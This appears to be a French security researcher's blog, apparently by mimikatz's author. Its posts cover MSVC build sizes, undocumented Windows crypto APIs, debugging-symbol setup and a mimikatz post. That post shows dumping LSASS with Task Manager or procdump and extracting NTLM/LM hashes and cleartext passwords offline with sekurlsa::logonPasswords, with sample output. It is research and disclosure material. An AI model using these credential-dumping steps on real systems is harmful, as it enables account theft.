Visual Studio – Compilation C, dépendances et taille d’exécutable

Quelques données brutes post-compilation d’un code source simple :

#include <stdio.h>

int main(int argc, char **argv)
{
	printf("Hello Kiwi\n");
	return 0;
}

Rien de particulier, ce code devrait juste donner un exécutable des plus léger.

Compilation dynamique

Plateforme Taille Dépendances
VC9 (Visual Studio 2008) 7 168 msvcr90.dll
kernel32.dll
VC10 – (Visual Studio 2010) 6 144 msvcr100.dll
kernel32.dll
VC11 – (Visual Studio 2012) 7 168 msvcr110.dll
kernel32.dll
  • Avantage : code très léger
  • Inconvénient : nécessite la présence de runtimes spécifiques sur les environnements ciblés

Compilation statique

Plateforme Taille Dépendances
VC9 – (Visual Studio 2008) 53 248 kernel32.dll
VC10 – (Visual Studio 2010) 46 080 kernel32.dll
VC11 – (Visual Studio 2012) 62 976 kernel32.dll
  • Avantage : plus de dépendances aux runtimes !
  • Inconvénient : taille conséquente ! le contenu des librairies est incorporé au binaire

Compromis

Plateforme Taille Dépendances
WDK 7600.16385.1 6 144 msvcrt.dll
kernel32.dll
  • Avantage : code très léger ! (utilise les runtimes du système, plus de dépendances externes)
  • Inconvénient : certaines fonctionnalités récentes ne sont pas disponibles dans ce runtime

Cryptographie rapide sous Windows

Comment obtenir un hash MD5 sous Windows, déchiffrer un bloc DES ?

j’ai totalement conscience d’évoquer dans ce post des algorithmes considérés comme dépassés, mais ces derniers sont toujours massivement utilisés dans les mécanismes internes de Windows
mimikatz 2.0 s’en sert lui aussi massivement ;)

Limitations

Les algorithmes évoqués dans ce post sont seulement les suivants :

MD4 LM DES (ECB)
MD5 NTLM RC4
SHA1    

Déjà vu sur Internet *

  • assemblage de bouts de code provenant d’Internet (réimplémentation des algorithmes)
  • utilisation des librairies d’OpenSSL
  • utilisation de la CryptoAPI
  • utilisation de la CNG

* je passe sur l’utilisation de CSP/PKCS#11 pour communiquer avec son HSM préféré ;)

A notre disposition sous Windows

Comme déjà listé, il est possible d’utiliser nativement la CryptoAPI, ou sa nouvelle version la CNG… mais n’est-ce-pas un peu lourd pour de si simples besoins ?

Windows incorpore déjà beaucoup de routines dans ses librairies système et, si l’on en utilise une grande partie via les SDK référençant ces API, l’on en occulte quelques-unes très pratiques !

Une majorité de ces API se situent dans la librairie advapi32.

API clairement identifiées

MD4Init MD5Init A_SHAInit
MD4Update MD5Update A_SHAUpdate
MD4Final MD5Final A_SHAFinal

API derrières SystemFunctionXXX

RtlEncryptDES1block1key SystemFunction001
RtlDecryptDES1block1key SystemFunction002
RtlEncryptDESMagicBlock1key SystemFunction003
RtlEncryptDESblocksECB SystemFunction004
RtlDecryptDESblocksECB SystemFunction005
RtlDigestLM SystemFunction006
RtlDigestNTLM SystemFunction007
RtlLMResponseToChallenge
NTLMv1 aussi sans doute
SystemFunction008
SystemFunction009
RtlDigestMD4only16Bytes SystemFunction010
SystemFunction011
RtlEncryptDES2blocks2keys SystemFunction012
SystemFunction014
SystemFunction020
SystemFunction022
RtlDecryptDES2blocks2keys SystemFunction013
SystemFunction015
SystemFunction021
SystemFunction023
RtlEncryptDES2blocks1key SystemFunction016
SystemFunction018
RtlDecryptDES2blocks1key SystemFunction017
SystemFunction019
RtlEncryptDES2blocks1DWORD SystemFunction024
SystemFunction026
RtlDecryptDES2blocks1DWORD SystemFunction025
SystemFunction027
RtlEqualMemory16Bytes SystemFunction030
SystemFunction031
RtlEncryptDecryptRC4 SystemFunction032
SystemFunction033
RtlCheckSignatureInFile SystemFunction035
Clé de session RPC
fonctions non identiques
SystemFunction028
SystemFunction029
SystemFunction034

Téléchargement

La majorité des API sont référencées via des SystemFunctionXXX qui peuvent déjà être liées par la librairie advapi32.lib du SDK ou WDK.

Malheureusement pas les API A_SHAFinal, A_SHAInit, A_SHAUpdate, MD4Final, MD4Init, MD4Update, MD5Final, MD5Init, MD5Update et RtlCheckSignatureInFile (SystemFunction035).

J’ai donc créé trois fichiers :

Exemple de petit code

Il est là pour exposer l’utilisation du CRYPTO_BUFFER, du MD5, SHA1 et DES-ECB

const BYTE data[] = "my super secret is a kiwi :)";
const BYTE key[] = "42 & 0xdeadbeef of course !";

CRYPTO_BUFFER
	bData    = {sizeof(data) - 1, sizeof(data) - 1, (PBYTE) data}, 
	bKey     = {sizeof(key) - 1, sizeof(key) - 1, (PBYTE) key},
	bCipData = {0, 0, NULL},
	bDecData = {0, 0, NULL}
;

MD5_CTX md5ctxInput, md5ctxOutput; // MD5 digest in context
SHA_CTX shactxInput, shactxOutput;
SHA_DIGEST shaInput, shaOutput;

NTSTATUS status;

MD5Init(&md5ctxInput);
MD5Update(&md5ctxInput, bData.Buffer, bData.Length);
MD5Final(&md5ctxInput);	// original data MD5 hash

A_SHAInit(&shactxInput);
A_SHAUpdate(&shactxInput, bData.Buffer, bData.Length);
A_SHAFinal(&shactxInput, &shaInput); // original data SHA1 hash

status = RtlEncryptDESblocksECB(&bData, &bKey, &bCipData);
if(status == STATUS_BUFFER_TOO_SMALL)
{
	if(bCipData.Buffer = (PBYTE) LocalAlloc(LPTR, bCipData.Length))
	{
		bCipData.MaximumLength = bCipData.Length;
		status = RtlEncryptDESblocksECB(&bData, &bKey, &bCipData);
	}
} else status = STATUS_NONCONTINUABLE_EXCEPTION;

if(NT_SUCCESS(status)) // Cipher operation OK ?
{
	status = RtlDecryptDESblocksECB(&bCipData, &bKey, &bDecData);
	if(status == STATUS_BUFFER_TOO_SMALL)
	{
		if(bDecData.Buffer = (PBYTE) LocalAlloc(LPTR, bDecData.Length))
		{
			bDecData.MaximumLength = bDecData.Length;
			status = RtlDecryptDESblocksECB(&bCipData, &bKey, &bDecData);
		}
	} else status = STATUS_NONCONTINUABLE_EXCEPTION;
} 

if(NT_SUCCESS(status)) // Decipher operation OK ?
{
	MD5Init(&md5ctxOutput);
	MD5Update(&md5ctxOutput, bDecData.Buffer, bDecData.Length);
	MD5Final(&md5ctxOutput); // deciphered data MD5 hash

	A_SHAInit(&shactxOutput);
	A_SHAUpdate(&shactxOutput, bDecData.Buffer, bDecData.Length);
	A_SHAFinal(&shactxOutput, &shaOutput); // deciphered data SHA1 hash
		
	// data compare works too, but it's for expose MD5 & SHA1 functions ;)
	wprintf(L"MD5  match : %s\n",
		RtlEqualMemory(md5ctxInput.digest, md5ctxOutput.digest, MD5_DIGEST_LENGTH) ? L"OK" : L"KO");
	wprintf(L"SHA1 match : %s\n",
		RtlEqualMemory(shaInput.digest, shaOutput.digest, SHA_DIGEST_LENGTH) ? L"OK" : L"KO");
}

LocalFree(bDecData.Buffer);
LocalFree(bCipData.Buffer);

Correction d’un en-tête Windows

Les seules API un tant soit peu présentes dans les en-têtes standards de Windows sont les suivantes :

  • RtlEncryptMemory
  • RtlDecryptMemory
  • RtlGenRandom

Lors de l’utilisation de ces fonctions, avec les fichiers proposés ou non, si les erreurs suivantes apparaissent lors de la création des liens :

error LNK2001: symbole externe non résolu _SystemFunction036
error LNK2001: symbole externe non résolu _SystemFunction040
error LNK2001: symbole externe non résolu _SystemFunction041

C’est que l’en-tête ntsecapi.h déclare incorrectement les prototypes des fonctions.
Il faut malheureusement les corriger :

BOOLEAN
RtlGenRandom(
    __out_bcount(RandomBufferLength) PVOID RandomBuffer,
    __in ULONG RandomBufferLength
    );
//...
NTSTATUS
RtlEncryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

NTSTATUS
RtlDecryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

en rajoutant la convention d’appel WINAPI (__stdcall) :

BOOLEAN WINAPI
RtlGenRandom(
    __out_bcount(RandomBufferLength) PVOID RandomBuffer,
    __in ULONG RandomBufferLength
    );
//...
NTSTATUS WINAPI
RtlEncryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

NTSTATUS WINAPI
RtlDecryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

Symboles Microsoft

pour WinDBG, IDA, Process Explorer, …
Parce que WinDBG seul ne suffit pas, un petit HowTo rapide sur les symboles Microsoft

Les symboles de débogage Microsoft

Microsoft n’est pas avare d’informations, une grande partie des symboles de leurs binaires (exécutables, librairies, pilotes, …) est disponible publiquement !

Cela permet, entre autre, de connaître des noms de fonctions internes, de variables globales, structures, … tout ce que Microsoft accepte que nous connaissions.
Bien que ces informations soient épurées, il n’en reste pas moins quelques pépites.

void __stdcall TSRevealPassword(struct _UNICODE_STRING *)
void __stdcall KerbRevealPassword(struct _UNICODE_STRING *)

Il serait dommage de s’en priver.

Pour cela, les outils présentés dans ce post, utilisent a minima :

  • dbghelp.dll pour manipuler les symboles
  • symsrv.dll pour récupérer les symboles
  • une configuration indiquant le référentiel de symboles
    • au niveau global via _NT_SYMBOL_PATH

Les dernières versions de ces librairies sont installées par WinDBG.

Considérations sur la configuration proposée

  • L’utilisation courante des symboles occupe de l’espace disque
  • Si plusieurs postes doivent déboguer, il est préférable d’utiliser un référentiel intermédiaire afin de ne pas récupérer plusieurs fois les mêmes informations
  • Les utilisateurs doivent pouvoir écrire a minima dans le référentiel final, l’écriture dans l’intermédiaire permet de l’alimenter depuis les utilisations de chacun

Configuration

La configuration proposée est la suivante :

_NT_SYMBOL_PATH = srv*c:\symbols*http://msdl.microsoft.com/download/symbols

A chaque besoin d’un symbole, le référentiel c:\symbols est inspecté.

  • si le symbole y figure, celui-ci est utilisé
  • si le symbole n’y figure pas, le référentiel http://msdl.microsoft.com/download/symbols est utilisé
    Le symbole est ensuite copié dans le référentiel c:\symbols pour éviter de le re-télécharger

Il faut ajouter une nouvelle variable d’environnement système (ou utilisateur) :
sysvardbg

Si un référentiel intermédiaire doit être utilisé :

_NT_SYMBOL_PATH = srv*c:\symbols*\\litchinanas.nirvana.local\programmation\symbols*http://msdl.microsoft.com/download/symbols

Si les droits le permettent, http://msdl.microsoft.com/download/symbols alimente \\litchinanas.nirvana.local\programmation\symbols qui alimente c:\symbols

Les informations sur la définition de cette variable sont disponibles ici : http://msdn.microsoft.com/library/windows/hardware/ff537994.aspx

WinDBG – le prérequis

A l’heure actuelle, la dernière version x86 est disponible ici : http://blog.gentilkiwi.com/retro-ingenierie/windbg-6-2-9200-16384
Une fois installées, les librairies essentielles au fonctionnement des symboles se trouveront dans : C:\Program Files\Windows Kits\8.0\Debuggers\x86 (ou équivalent sous x64).

Utilisation SANS les symboles

mov     dword ptr [notepad+0xc1e4 (001ec1e4)],offset notepad+0x739b (001e739b)
call    dword ptr [notepad+0x1354 (001e1354)]
push    eax
call    notepad+0x77f3 (001e77f3)

Utilisation AVEC les symboles

mov     dword ptr [notepad!OFN+0x44 (001ec1e4)],offset notepad!NpOpenDialogHookProc (001e739b)
call    dword ptr [notepad!_imp__GetOpenFileNameW (001e1354)]
push    eax
call    notepad!_LegacyFileDialogToHR (001e77f3)

N’est-ce pas plus compréhensible ?

Process Explorer & Process Monitor

Certains affichages de Process Explorer et Process Monitor peuvent eux aussi facilement bénéficier de l’aide de symboles.

Via Options / Configure Symbols... :
pesmb
(l’option ‘Symbols Path’ est inutile quand la variable d’environnement _NT_SYMBOL_PATH est renseignée)

Sinon en console :

reg add "HKCU\Software\Sysinternals\Process Explorer" /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Explorer" /v SymbolPath  /t REG_SZ /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v SymbolPath  /t REG_SZ /f

Utilisation SANS les symboles

penosym

Utilisation AVEC les symboles

pesym
pcstack

IDA

Dans certains cas, IDA n’arrive pas à se débrouiller avec ses propres librairies. Quelques manipulations peuvent largement l’aider…

  1. Supprimer du répertoire d’IDA :
    • dbghelp.dll
    • symsrv.dll
    • symsrv.yes (si présent)
  2. Recopier les fichiers suivants depuis le répertoire de WinDBG (C:\Program Files\Windows Kits\8.0\Debuggers\x86) vers celui d’IDA :
    • symsrv.dll
    • symsrv.yes
  3. Via le fichier de configuration d’IDA (cfg\ida.cfg), modifier la propriété DBGTOOLS (elle est sans doute à dé-commenter, sinon la créer) :
    DBGTOOLS = "C:\\Program Files\\Windows Kits\\8.0\\Debuggers\\x86\\";
    pratique pour piloter, par la même occasion, WinDBG depuis IDA
  4. Forcer l’utilisation des symboles si IDA a été configuré pour ne plus le demander :
    reg add "HKCU\Software\Hex-Rays\IDA\Hidden Messages" /v "IDA Pro has determined that the input file was linked with debug information  Do you want to look fo" /t REG_DWORD /d 1 /f

Utilisation SANS les symboles

idanodbg

Utilisation AVEC les symboles

idadbg

sekurlsa :: minidump

mimikatz est déjà très facile d’emploi sur place… mais si nous prenions à emporter ?

mcdrive
– « Un minidump de LSASS et 4 Cocas »

NT 6

Microsoft nous a fait une bonne surprise ! Il est maintenant possible de dumper des processus directement depuis le gestionnaire de tâches, et ceci sans outils supplémentaires !
minidump_8
Nous sommes ensuite remerciés par :
dumpok
(valable pour Windows Vista et versions supérieures)

NT 5

Cette fois ci, point de méthode interne à Windows, mais nous pouvons passer par Procdump : http://technet.microsoft.com/sysinternals/dd996900.aspx

C:\WINDOWS\Sysinternals>procdump -accepteula -ma lsass.exe lsass.dmp

ProcDump v5.14 - Writes process dump files
Copyright (C) 2009-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards

Writing dump file C:\WINDOWS\Sysinternals\lsass.dmp ...
Writing 48MB. Estimated time (less than) 1 second.
Dump written.

Utilisation

Il suffit maintenant d’utiliser mimikatz sur une plateforme de même version majeure et de même architecture que le dump d’origine.
minidump_matrix
Exemples de configurations :

  • Dump d’un Windows XP x86 => mimikatz x86 sous Windows 2003 x86
  • Dump d’un Vista x64 => mimikatz x64 sous Windows 2012 x64
mimikatz 2.0 alpha x86 release "Kiwi en C" (Apr  2 2013 02:58:12)

/* * *
 Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 http://blog.gentilkiwi.com/mimikatz
                                  with   4 modules * * */


mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 141237
User Name         : sekur_000
Domain            : WINDOWS-8
        msv :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
        tspkg :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * Password : waza1234/
        wdigest :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * Password : waza1234/
        livessp :
         * Username : sekurlsa@live.fr
         * Domain   : ps:password
         * Password : waza1234/
        kerberos :
        ssp :

mimikatz

Oui, il s’agit de mimikatz 2, une version alpha livrée totalement incomplète pour l’occasion (et certainement encore pleine de bogues).
Le français n’ayant pas beaucoup freiné certaines utilisations, et à la demande de beaucoup (gasp!), cette version sera en anglais.

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz (répertoire alpha)

gentilkiwi @ AfterWork OSSIR Février 2013

OSSIR-Logo

news0ft m’a offert une tribune sympathique pour présenter mimikatz.
Je serais donc présent à l’AfterWork de l’OSSIR ce Mardi 26 Février à partir de 19h30.

En dehors du plaisir d’y rencontrer une riche communauté, j’y évoquerai le fonctionnement de la récupération de données sensibles dans Windows via mimikatz, tout cela en une petite demi-heure.

Se passant au Café Six, les questions supplémentaires se feront autour d’un verre !

Informations :